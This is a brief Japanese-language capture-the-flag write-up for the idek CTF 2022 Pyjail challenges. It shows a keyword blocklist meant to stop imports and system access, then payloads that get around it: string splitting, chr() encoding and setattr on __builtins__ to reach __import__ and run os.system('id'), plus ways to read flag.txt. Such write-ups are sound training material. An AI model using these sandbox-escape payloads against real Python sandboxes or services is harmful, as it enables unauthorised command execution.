idek CTF 2022 - Pyjail / Revenge
Challenge
Pyjail
code = input()if any(c in code for c in ['import', 'eval', 'exec', 'os', 'sys']): print("Blocked!") exit()exec(code)Pyjail Revenge
さらに厳しい制限。
Solution
setattr による属性設定
# __builtins__ の属性を操作setattr(__builtins__, 'X', __builtins__.__dict__['__imp' + 'ort__'])X('o' + 's').system('id')antigravity モジュール
antigravity モジュールは webbrowser を import し、URL を開く。これを悪用:
# antigravity は内部で webbrowser を使用# webbrowser.open() でファイルプロトコルを使用File I/O
# open が使える場合open('flag.txt').read()
# chr() で構築getattr(__builtins__, chr(111)+chr(112)+chr(101)+chr(110))('flag.txt').read()Technical Details
setattr の活用
# 属性の動的設定setattr(obj, 'name', value)# obj.name = value と同等
# builtins に関数を追加setattr(__builtins__, 'myimport', __import__)antigravity モジュール
import antigravity# xkcd のコミックを開く
# 内部では:import webbrowserwebbrowser.open("https://xkcd.com/353/")文字列フィルタのバイパス
| 禁止文字列 | バイパス方法 |
|---|---|
import | 'imp' + 'ort' |
os | chr(111)+chr(115) |
eval | getattr(__builtins__, ...) |
Alternative Solutions
別解1: getattribute の利用
().__class__.__getattribute__(().__class__, '__bas' + 'es__')別解2: format 文字列
'{0.__class__}'.format('')Flag
idek{...}
References
- idek CTF 2022 Official